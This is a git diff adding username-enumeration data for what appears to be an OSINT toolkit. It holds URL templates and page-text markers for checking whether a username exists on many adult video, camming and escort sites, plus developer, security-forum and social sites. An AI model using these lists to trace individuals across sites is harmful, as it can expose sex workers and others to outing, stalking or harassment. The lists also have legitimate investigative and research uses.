"url": "https://www.xnxx.com/pornstar/{username}", + "check_text": [ + "Model page" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404", + "THIS PROFILE DOESN", + "Unknown profile" + ], + "category": "adult video and photo" + }, + "XNXX (porn-maker)": { + "url": "https://www.xnxx.com/porn-maker/{username}", + "check_text": [ + "Porn Maker" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "body--http-status http-error-page status-404", + "THIS PROFILE DOESN", + "Unknown profile" + ], + "category": "adult video and photo" + }, + "XHAMSTER (users)": { + "url": "https://www.xhamster.com/users/{username}", + "check_text": [ + "{username}", + "xHamster" + ], + "not_found_text": [ + "This account doesn’t exist", + "Try searching for another.", + "Error Page Not Found", + "Page Not Found", + "User not found" + ], + "category": "adult video and photo" + }, + "Motherless": { + "url": "https://www.motherless.com/m/{username}", + "check_text": [ + "Add friend" + ], + "not_found_text": [ + "Oh damn!" + ], + "category": "adult video and photo" + }, + "RedGIFs": { + "url": "https://www.redgifs.com/users/{username}", + "check_text": [ + "about" + ], + "not_found_text": [ + "robots" + ], + "category": "adult video and photo" + }, + "Sheer": { + "url": "https://www.sheer.com/{username}", + "check_text": [ + "FOLLOW" + ], + "not_found_text": [ + "404", + "Hmm, something's wrong.", + "Oops, page not found" + ], + "category": "adult video and photo" + }, + "JustFor.Fans": { + "url": "https://justforfans.com/{username}", + "check_text": [ + "Member since" + ], + "not_found_text": [ + "Filter By Gender" + ], + "category": "adult video and photo" + }, + "YouPorn (channels)": { + "url": "https://www.youporn.com/channel/{username}/", + "check_text": [ + "ranking" + ], + "not_found_text": [ + "Free Videos From" + ], + "category": "adult video and photo" + }, + "YouPorn (pornstars)": { + "url": "https://www.youporn.com/pornstar/{username}/", + "check_text": [ + "porn videos" + ], + "not_found_text": [ + "WE TRIED", + "WE REALLY DID", + "404 Page Not Found" + ], + "category": "adult video and photo" + }, + "YouPorn (uservids)": { + "url": "https://www.youporn.com/uservids/{username}/", + "check_text": [ + "free porn videos" + ], + "not_found_text": [ + "WE TRIED", + "WE REALLY DID", + "404 Page Not Found" + ], + "category": "adult video and photo" + }, + "FrolicMe (models)": { + "url": "https://www.frolicme.com/models/{username}/", + "check_text": [ + "naughty content featuring" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "Fanvue": { + "url": "https://www.fanvue.com/{username}", + "check_text": [ + "posts", + "show more" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "AdmireMe.VIP": { + "url": "https://admireme.vip/{username}/", + "check_text": [ + "subscribe for", + "post count" + ], + "not_found_text": [ + "page not found" + ], + "category": "adult video and photo" + }, + "Tube8 (pornstars)": { + "url": "https://www.tube8.com/pornstar/{username}/", + "check_text": [ + "Porn Videos and XXX Movies | Tube8.com" + ], + "not_found_text": [ + "404 Page Not Found" + ], + "category": "adult video and photo" + }, + "Tube8 (channels)": { + "url": "https://www.tube8.com/channel/{username}/", + "check_text": [ + "Channel for Free Porn | Tube8.com" + ], + "not_found_text": [ + "Porn Channels" + ], + "category": "adult video and photo" + }, + "Raw White Meat": { + "url": "https://rawwhitemeat.com/video_tag/{username}/", + "check_text": [ + "post-title", + ">Height:", + ">Age:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "My POV Fam": { + "url": "https://mypovfam.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Pevert POV": { + "url": "https://pervertpov.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Sluts Around Town": { + "url": "https://slutsaroundtown.com/video_tag/{username}/", + "check_text": [ + "post-title", + ">Age:", + ">Height:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Passions Only": { + "url": "https://passionsonly.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "MiLFUCKD": { + "url": "https://milfuckd.com/performers/{username}/", + "check_text": [ + "JOIN NOW TO SEE MORE</span>", + ">Videos Featuring" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Clip Page": { + "url": "https://clip.page/{username}", + "check_text": [ + "Customs</button>", + "></i> Custom" + ], + "not_found_text": [ + "Not Found" + ], + "category": "adult video and photo" + }, + "Faphouse": { + "url": "https://faphouse.com/models/{username}", + "check_text": [ + "Porn Videos | Faphouse", + "Followers" + ], + "not_found_text": [ + "Error", + "Not found" + ], + "category": "adult video and photo" + }, + "TNAFlix": { + "url": "https://www.tnaflix.com/profile/{username}", + "check_text": [ + "Pornstar - TNAFLIX.COM" + ], + "not_found_text": [ + "404 - Not Found" + ], + "category": "adult video and photo" + }, + "Virtual Taboo": { + "url": "https://virtualtaboo.com/pornstars/{username}", + "check_text": [ + "Birthday:", + "VR Porn Star Videos: New Sex Scenes | VirtualTaboo" + ], + "not_found_text": [ + "

404: Page not found

" + ], + "category": "adult video and photo" + }, + "Tik.Porn": { + "url": "https://tik.porn/{username}", + "check_text": [ + "
Views
", + "
Followers
" + ], + "not_found_text": [ + ">Page Not Found | Tik.Porn" + ], + "category": "adult video and photo" + }, + "PornHat (Models)": { + "url": "https://www.pornhat.com/models/{username}/", + "check_text": [ + "free HD porn videos - PornHat" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "PornHat (Channels)": { + "url": "https://www.pornhat.com/sites/{username}/", + "check_text": [ + "free HD porn videos - PornHat" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "PornMD": { + "url": "https://www.pornmd.com/pornstar/{username}", + "check_text": [ + "Videos and Porn Movies :: PornMD" + ], + "not_found_text": [ + "Oops! We could not find the requested page." + ], + "category": "adult video and photo" + }, + "Yuvutu (search)": { + "url": "http://www.yuvutu.com/modules.php?name=Video&op=search&keywords={username}", + "check_text": [ + ">1" + ], + "not_found_text": [ + "0 result(s)" + ], + "category": "adult video and photo" + }, + "Yuvutu (profile)": { + "url": "http://www.yuvutu.com/{username}", + "check_text": [ + "personal info", + ">Height:
" + ], + "not_found_text": [ + ">Members" + ], + "category": "adult video and photo" + }, + "Adultism": { + "url": "https://www.adultism.com/profile/{username}", + "check_text": [ + ">Location:", + ">Member since:" + ], + "not_found_text": [ + "No such member :(", + " Not Found - Adultism" + ], + "category": "adult video and photo" + }, + "Cams Reviews": { + "url": "https://www.cams.reviews/?search={username}", + "check_text": [ + "webcam models that match your search." + ], + "not_found_text": [ + ">No Webcam Models Found.", + "is not in our database." + ], + "category": "camming" + }, + "Kink Live": { + "url": "https://www.kinklive.com/models/bios/{username}/about.php", + "check_text": [ + "Reviews ", + "
Last Online:
" + ], + "not_found_text": [ + "The performer's bio you requested is not available.", + "Alert!" + ], + "category": "camming" + }, + "Chaturbate": { + "url": "https://chaturbate.com/{username}/", + "check_text": [ + "live on Chaturbate!", + ">Bio", + "Last Broadcast:", + "Room is currently offline", + "I am:" + ], + "not_found_text": [ + "

HTTP 404 - Page Not Found", + "Pornstar Free Cams" + ], + "category": "camming" + }, + "Webcam-Archiver": { + "url": "https://webcam-archiver.com/search/?query={username}", + "check_text": [ + "Download", + ">Big Preview" + ], + "not_found_text": [ + "

0 Result's" + ], + "category": "camming" + }, + "Masturbate and Chill": { + "url": "https://www.live.masturbateandchill.com/en/chat/{username}#!", + "check_text": [ + "Free Live Sex Chat With" + ], + "not_found_text": [ + "<title>www.live.masturbateandchill.com" + ], + "category": "camming" + }, + "Jerkmate (pornstars)": { + "url": "https://jerkmate.com/pornstar/{username}", + "check_text": [ + "jerkmate.com/pornstar" + ], + "not_found_text": [ + "page not found - 404" + ], + "category": "camming" + }, + "Jerkmate (cams)": { + "url": "https://jerkmate.com/cam/{username}", + "check_text": [ + "cam profile:" + ], + "not_found_text": [ + "page not found - 404", + "Sex Chat with Adult Cam Models | Jerkmate", + "We're sorry, the page you're looking for was not found.

", + ">Live Cam Girls" + ], + "category": "camming" + }, + "Camlust": { + "url": "https://camlust.com/en/models/{username}", + "check_text": [ + "in Free Chat Roulette", + "Live Skype sex show with" + ], + "not_found_text": [ + "page not found", + "

Top models

" + ], + "category": "camming" + }, + "Xpanded": { + "url": "https://xpanded.com/girls?search_profilename={username}", + "check_text": [ + ">Xpanded TV", + " page to see call options

" + ], + "not_found_text": [ + "but we were unable to find" + ], + "category": "camming" + }, + "MyFreeCams": { + "url": "https://profiles.myfreecams.com/{username}", + "check_text": [ + "profile_avatar", + "status_label" + ], + "not_found_text": [ + "Search by Username" + ], + "category": "camming" + }, + "Babestation Cams (performer)": { + "url": "https://babestationcams.com/performer/{username}", + "check_text": [ + "Babestation Cams" + ], + "not_found_text": [ + "Not Found" + ], + "category": "camming" + }, + "ChatMate": { + "url": "https://chatmate.com/chat-video/{username}", + "check_text": [ + "Chat & Interact with" + ], + "not_found_text": [ + "<title>Page Not Found - 404" + ], + "category": "camming" + }, + "CamSoda": { + "url": "https://camsoda.com/{username}", + "check_text": [ + "bio" + ], + "not_found_text": [ + "Error, page not found" + ], + "category": "camming" + }, + "CamWithHer (users)": { + "url": "https://camwithher.com/{username}", + "check_text": [ + "Free Live Nude Sex Show", + "bio" + ], + "not_found_text": [ + "page not found" + ], + "category": "camming" + }, + "Xcams": { + "url": "https://www.xcams.com/profile/{username}/", + "check_text": [ + "years old" + ], + "not_found_text": [ + "not found" + ], + "category": "camming" + }, + "Xlovecam": { + "url": "https://www.xlovecam.com/en/model/{username}/", + "check_text": [ + "years old", + "about me" + ], + "not_found_text": [ + "error 404" + ], + "category": "camming" + }, + "Soul Cams": { + "url": "https://www.soulcams.com/profile/{username}", + "check_text": [ + "Live cam | Soulcams.com", + "About me
", + "Follow me" + ], + "not_found_text": [ + "SoulCams" + ], + "category": "camming" + }, + "XV Cams": { + "url": "https://www.xvcams.com/models/bios/{username}/about.php", + "check_text": [ + "Webcam Bio - Naked Pics, Adult Videos, Sex Chat" + ], + "not_found_text": [ + "The performer's bio you requested is not available." + ], + "category": "camming" + }, + "CamSextacy": { + "url": "https://www.camsextacy.com/{username}", + "check_text": [ + "Cam: Free Live Nude Sex Show & Chat - CamSextacy" + ], + "not_found_text": [ + ">Error, page not found" + ], + "category": "camming" + }, + "Mynt Models (NY, DAL, LA)": { + "url": "https://www.myntmodels.com/escort-model/{username}/", + "check_text": [ + "Measurements:", + "

Age:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "escort" + }, + "TS-Dating (International)": { + "url": "https://www.ts-dating.com/model/{username}", + "check_text": [ + ">Location:<span", + ">Name: <span", + ">Age: <span" + ], + "not_found_text": [ + "404 - PAGE NOT FOUND" + ], + "category": "escort" + }, + "Mccoys Guide (US)": { + "url": "https://www.mccoysguide.com/services/escorts/united-states-of-america?search={username}&order=updated", + "check_text": [ + "/assets/advertiser_accounts/", + "<h6>Escorts</h6>" + ], + "not_found_text": [ + "No search results found" + ], + "category": "escort" + }, + "Naughty Ads (International)": { + "url": "https://www.naughtyads.com.au/escort/{username}", + "check_text": [ + "call-button", + "sms-button", + "Quick Facts</label>" + ], + "not_found_text": [ + "Oops, something went wrong...</h3>" + ], + "category": "escort" + }, + "Cowboys4Angels": { + "url": "https://cowboys4angels.com/cowboys/{username}/", + "check_text": [ + "<h1>About", + "View His Rates</div>" + ], + "not_found_text": [ + "Page not found" + ], + "category": "escort" + }, + "Models-World": { + "url": "https://models-world.com/profile/{username}/", + "check_text": [ + "- Located in" + ], + "not_found_text": [ + "<title>MODELS WORLD" + ], + "category": "escort" + }, + "Eros Escorts": { + "url": "https://erosescorts.net/{username}/", + "check_text": [ + "Escort Profile -" + ], + "not_found_text": [ + "<title>Escorts directory" + ], + "category": "escort" + }, + "Grazia (International)": { + "url": "https://grazia-escort.com/en/models/{username}/", + "check_text": [ + "book now" + ], + "not_found_text": [ + "<title>Grazia" + ], + "category": "escort" + }, + "Perla Di Mare (International)": { + "url": "https://www.perla-di-mare.eu/escort/{username}/", + "check_text": [ + "located in" + ], + "not_found_text": [ + "nothing found" + ], + "category": "escort" + }, + "Ava Escorts (International)": { + "url": "https://avaescorts.com/search-results?escort_name={username}&agency_id=&escort_type=&root_category=&city_county=Enter+City&age=&hair_color=&languages=&price=&type=&x=0&y=0", + "check_text": [ + "/>Outcall Only<br", + "/>Incall/Outcall<br", + "/>Incall Only<br" + ], + "not_found_text": [ + "escorts found (0)" + ], + "category": "escort" + }, + "Private Delights": { + "url": "https://privatedelights.ch/profile/{username}", + "check_text": [ + "<title>Reviews for", + "Verified Provider", + "Unverified Provider", + "Joined:", + ">work</i>" + ], + "not_found_text": [ + "search-section", + "0 providers found.", + "No page" + ], + "category": "escort" + }, + "The Erotic Review": { + "url": "https://www.theeroticreview.com/reviews/newreviewsList.asp?Name={username}", + "check_text": [ + "matches.</span>", + ">Name</div>" + ], + "not_found_text": [ + "<p>No records were found.</p>" + ], + "category": "escort" + }, + "Rent.Men": { + "url": "https://rent.men/{username}", + "check_text": [ + "Current location" + ], + "not_found_text": [ + "404", + "Ooops...", + "The requested page can not be found." + ], + "category": "escort" + }, + "HOT": { + "url": "https://hot.com/us/escorts?q={username}", + "check_text": [ + ">model "" + ], + "not_found_text": [ + "Your request does not match any item.", + "Try changing your request", + "</span> does not match" + ], + "category": "escort" + }, + "Eros.com": { + "url": "https://eros.com/search/text?sch={username}&loc=", + "check_text": [ + "United States" + ], + "not_found_text": [ + "No results" + ], + "category": "escort" + }, + "tryst.link": { + "url": "https://tryst.link/escort/{username}", + "check_text": [ + "#photos" + ], + "not_found_text": [ + "<h1>Page not found</h1>", + "The page you were looking for couldn't be found." + ], + "category": "escort" + }, + "5escorts": { + "url": "https://www.5escorts.com/search/?keyword={username}&category=ads", + "check_text": [ + "/ads/details/" + ], + "not_found_text": [ + "Could not find what you were looking for?" + ], + "category": "escort" + }, + "Sweet Passion Escort": { + "url": "https://www.sweet-passion-escort.de/en/models/{username}", + "check_text": [ + "book", + "Sedcard" + ], + "not_found_text": [ + "Could not find what you were looking for?", + "<title>Escort Damen" + ], + "category": "escort" + }, + "Open Adult Directory BDSM Search": { + "url": "https://openadultdirectory.com/oad_search.php?kw={username}&dir=bdsm", + "check_text": [ + "results" + ], + "not_found_text": [ + "Your search returned no matches.", + "Page Not Found" + ], + "category": "escort" + }, + "Open Adult Directory Escorts Search": { + "url": "https://openadultdirectory.com/oad_search.php?kw={username}&dir=escorts", + "check_text": [ + "results" + ], + "not_found_text": [ + "Your search returned no matches.", + "Page Not Found" + ], + "category": "escort" + }, + "International Fetish Escort (Frankfurt, Germany)": { + "url": "https://www.international-fetish-escort.com/en/escort-models/{username}/", + "check_text": [ + "about me" + ], + "not_found_text": [ + "404", + "oops" + ], + "category": "escort" + }, + "Exotic RW (Rwanda, Africa)": { + "url": "https://www.exoticrw.com/escort/{username}/", + "check_text": [ + " | Best Rwanda Escorts" + ], + "not_found_text": [ + "<title>Best Rwanda Escorts" + ], + "category": "escort" + }, + "Exotic Mali (Mali, Africa)": { + "url": "https://www.exoticmali.com/escort/{username}/", + "check_text": [ + " - Escorte Mali" + ], + "not_found_text": [ + "<title>Escorte Mali" + ], + "category": "escort" + }, + "Exotic Malawi (Malawi, Africa)": { + "url": "https://www.exoticmalawi.com/escort/{username}/", + "check_text": [ + " - Escorts in Malawi" + ], + "not_found_text": [ + "<title>Escorts in Malawi" + ], + "category": "escort" + }, + "Exotic Ethiopia (Ethiopia, Africa)": { + "url": "https://www.exoticethiopia.com/escort/{username}/", + "check_text": [ + ", Ethiopian Escort for Massage" + ], + "not_found_text": [ + "<title>Ethiopian Escorts" + ], + "category": "escort" + }, + "Exotic Botswana (Botswana, Africa)": { + "url": "https://www.exoticbotswana.com/escort/{username}/", + "check_text": [ + ", Botswana Escort for Massage" + ], + "not_found_text": [ + "<title>Botswana Escorts" + ], + "category": "escort" + }, + "Blue Label Escort (Frankfurt, Germany)": { + "url": "https://bluelabel-escort.com/en/models/{username}/", + "check_text": [ + "Hair colour:</span>", + "Category:</span>", + "Height:</span>" + ], + "not_found_text": [ + "faq" + ], + "category": "escort" + }, + "Felines Escort": { + "url": "https://www.felinesescort.com/en/escort-girl/{username}", + "check_text": [ + "photos", + "about" + ], + "not_found_text": [ + "page not found" + ], + "category": "escort" + }, + "Aphrodite Agency (Europe)": { + "url": "https://www.aphrodite-agency.com/en/models/{username}", + "check_text": [ + "more about" + ], + "not_found_text": [ + "meet high class escorts" + ], + "category": "escort" + }, + "Society Service Escorts (Holland & Belgium)": { + "url": "https://www.societyservice.com/escort/{username}", + "check_text": [ + "profile" + ], + "not_found_text": [ + "find your perfect", + "we are sorry" + ], + "category": "escort" + }, + "Society Service Gigolos (Holland & Belgium)": { + "url": "https://www.societyservice.com/gigolo/{username}", + "check_text": [ + "profile" + ], + "not_found_text": [ + "find your perfect" + ], + "category": "escort" + }, + "SouthernGFE": { + "url": "https://www.southerngfe.com/escorts/search?searchword={username}", + "check_text": [ + "title='{username}", + "Results 1" + ], + "not_found_text": [ + "Your search does not return any result." + ], + "category": "escort" + }, + "1Baiser": { + "url": "https://en.1baiser.com/search?q={username}", + "check_text": [ + "Model </span></h2>" + ], + "not_found_text": [ + "No results were found" + ], + "category": "escort" + }, + "Figgmi (Switzerland)": { + "url": "https://figgmi.ch/de/escorts/{username}/", + "check_text": [ + "| escort in" + ], + "not_found_text": [ + "error 404" + ], + "category": "escort" + }, + "Telaviv-Escort (Telaviv)": { + "url": "https://telaviv-escort.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "Austin Escort Models (Austin, TX)": { + "url": "https://austinescortmodels.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "Dallas Escort State (Dallas, TX)": { + "url": "https://dallasescortstate.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "What Happens In Vegas Stays (Las Vegas, NV)": { + "url": "https://www.whathappensinvegasstays.com/?s={username}", + "check_text": [ + "search-results" + ], + "not_found_text": [ + "Nothing Found</h1>" + ], + "category": "escort" + }, + "Party Girls LV (Las Vegas, NV)": { + "url": "https://partygirlslv.com/?s={username}&post_type=model", + "check_text": [ + ">Search Results for:" + ], + "not_found_text": [ + "Nothing Found</h1>" + ], + "category": "escort" + }, + "Vegas Girls Gone Wild (Las Vegas, NV)": { + "url": "https://vegasgirlsgonewild.com/escort/{username}/", + "check_text": [ + "Vegas Girls Gone Wild" + ], + "not_found_text": [ + "Page not found" + ], + "category": "escort" + }, + "Florida Escort Models (Florida, US)": { + "url": "https://floridaescortmodels.com/model/{username}", + "check_text": [ + "Ethnicity:", + "Age:", + "Availability:" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "EscortHub (International)": { + "url": "https://escorthub.org/escort/{username}/", + "check_text": [ + "escort from", + "- EscortHub" + ], + "not_found_text": [ + "

404

", + "

page not found

" + ], + "category": "escort" + }, + "Dior Escorts (London, UK)": { + "url": "https://www.diorescorts.com/gallery/{username}", + "check_text": [ + ">Age:", + ">Gender:", + ">Availability :" + ], + "not_found_text": [ + ">Sorry Page not found :( (404)" + ], + "category": "escort" + }, + "Cheshire Companions (UK)": { + "url": "https://www.cheshirecompanions.com/escorts/{username}", + "check_text": [ + "
Age
", + "
Height
" + ], + "not_found_text": [ + "404 | Chesire Companions " + ], + "category": "escort" + }, + "Candy Shop Escorts (Manchester, ENG)": { + "url": "https://candyshopescorts.co.uk/escorts/{username}", + "check_text": [ + "
Age
", + "
Height
" + ], + "not_found_text": [ + "The page you are looking for doesn't exist or has been moved." + ], + "category": "escort" + }, + "Scarlet Blue (International)": { + "url": "https://scarletblue.com.au/search/?search=true&escortname={username}", + "check_text": [ + "profile-quickstats--details", + ">Age:" + ], + "not_found_text": [ + "No Escorts found - Please select different options" + ], + "category": "escort" + }, + "Naughty Ads (Australia)": { + "url": "https://www.naughtyads.com.au/escorts/australia?search={username}", + "check_text": [ + "escort-profile-image", + "escort-price" + ], + "not_found_text": [ + "No listings found for this search" + ], + "category": "escort" + }, + "New Zealand Girls (New Zealand)": { + "url": "https://www.newzealandgirls.co.nz/all/nzgirls.php?keyword={username}&go_keyword=Go%21", + "check_text": [ + "Stunning Escorts in New Zealand" + ], + "not_found_text": [ + "Your search returned no results, please try another search." + ], + "category": "escort" + }, + "Adult Look (International)": { + "url": "https://www.adultlook.com/search/?query={username}&rq={username}&advanced=1", + "check_text": [ + "results found" + ], + "not_found_text": [ + "No results found to show" + ], + "category": "escort" + }, + "KittyAds (International)": { + "url": "https://www.kittyads.com/{username}", + "check_text": [ + "Escort Profile:", + "Contact Info" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "escort" + }, + "Exotic-Africa (Africa)": { + "url": "https://www.exotic-africa.com/escort/{username}/", + "check_text": [ + "<h4>Contact info:</h4>", + "<h4>Services:</h4>" + ], + "not_found_text": [ + ">VIP Escorts</h3>", + "<h3>page not found</h3>" + ], + "category": "escort" + } + } +} diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/detectdee.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/detectdee.json new file mode 100644 index 0000000..173f773 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/detectdee.json @@ -0,0 +1,9793 @@ +{ + "github": { + "url": "https://github.com", + "nameCheck": "^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "header": { + "a": "x" + }, + "url": "https://github.com/%s", + "existUsername": "piaolin", + "nonExistUsername": "4554456464646546654", + "userPage": "https://github.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitlab": { + "url": "https://gitlab.com/", + "nameCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://gitlab.com/%s", + "existUsername": "blue", + "nonExistUsername": "noonewouldeverusethis7", + "userPage": "https://gitlab.com/%s", + "type": "username" + }, + { + "nonExistRegex": "\\[\\]", + "existRegex": "web_url", + "url": "https://gitlab.com/api/v4/users?username=%s", + "existUsername": "blue", + "nonExistUsername": "noonewouldeverusethis7", + "userPage": "https://gitlab.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitee": { + "url": "https://gitee.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://gitee.com/%s", + "existUsername": "log4j", + "nonExistUsername": "4554456464646546654", + "userPage": "https://gitee.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "googleplay": { + "url": "https://play.google.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "We're sorry, the requested URL was not found on this server.", + "existRegex": "Copyright The Closure Library Authors", + "url": "https://play.google.com/store/apps/developer?id=%s", + "existUsername": "Apple", + "nonExistUsername": "GitHubeeeeee", + "userPage": "https://play.google.com/store/apps/developer?id=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "githubblog": { + "url": "https://github.io", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://%s.github.io", + "existUsername": "kongkongye", + "nonExistUsername": "kongkongyeeeee", + "userPage": "https://%s.github.io", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "v2ex": { + "url": "https://v2ex.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://v2ex.com/member/%s", + "existUsername": "kongkongye", + "nonExistUsername": "kongkongyeeeee", + "userPage": "https://v2ex.com/member/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "zhihu": { + "url": "https://www.zhihu.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "url": "https://www.zhihu.com/people/%s", + "existUsername": "bule", + "nonExistRegex": "404 - \\\\u77e5\\\\u4e4e", + "existRegex": "查看详细资料", + "nonExistUsername": "buleeeeeeeeeeeee", + "userPage": "https://www.zhihu.com/people/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "freebuf": { + "url": "https://www.freebuf.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.freebuf.com/author/%s", + "existUsername": "Alpha_h4ck", + "nonExistUsername": "Alpha_h4ckeeeeeee", + "userPage": "https://www.freebuf.com/author/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugbank": { + "url": "https://www.bugbank.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.bugbank.cn/api/user/%s", + "existUsername": "carry_pan", + "nonExistUsername": "carry_panxzxxxxx", + "userPage": "https://www.bugbank.cn/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "hackerone": { + "url": "https://hackerone.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://hackerone.com/%s?type=user", + "existUsername": "ooooooo_q", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://hackerone.com/%s?type=user", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vulbox": { + "url": "https://www.vulbox.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "existRegex": "true", + "url": "https://vapi.vulbox.com/openapi/account/exist", + "body": { + "field": "username", + "value": "%s", + "mobile_code": null + }, + "header": { + "Content-Type": "application/json;charset=UTF-8", + "Origin": "https://www.vulbox.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "existUsername": "ooooooo_q", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://www.vulbox.com/whitehats/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugku": { + "url": "https://www.bugku.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "\\\\u62b1\\\\u6b49\\\\uff0c\\\\u60a8\\\\u6307\\\\u5b9a\\\\u7684\\\\u7528\\\\u6237\\\\u7a7a\\\\u95f4\\\\u4e0d\\\\u5b58\\\\u5728", + "existRegex": "的个人资料", + "url": "https://www.bugku.com/space-username-%s.html", + "existUsername": "Jimmy", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://www.bugku.com/space-username-%s.html", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "newbugku": { + "url": "https://new.bugku.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://new.bugku.com/users/profile/%s", + "existUsername": "gabriel", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://new.bugku.com/users/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "52pojie": { + "url": "https://www.52pojie.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 1, + "detect": [ + { + "nonExistRegex": "succeed", + "existRegex": "showWindow", + "url": "https://www.52pojie.cn/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "youga777", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.52pojie.cn/home.php?mod=space&username=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "youtube": { + "url": "https://www.youtube.com/", + "type": "Video", + "isNSFW": false, + "sleep": 1, + "detect": [ + { + "nonExistRegex": "404 Not Found", + "url": "https://www.youtube.com/user/%s", + "headers": { + "Cookie": "CONSENT=YES+cb.20210418-17-p0.it+FX+917; " + }, + "existUsername": "pewdiepie", + "nonExistUsername": "youga777888", + "userPage": "https://www.youtube.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wikipedia": { + "url": "https://www.wikipedia.org/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://en.wikipedia.org/wiki/User:%s", + "existUsername": "Jack", + "nonExistUsername": "youga777888", + 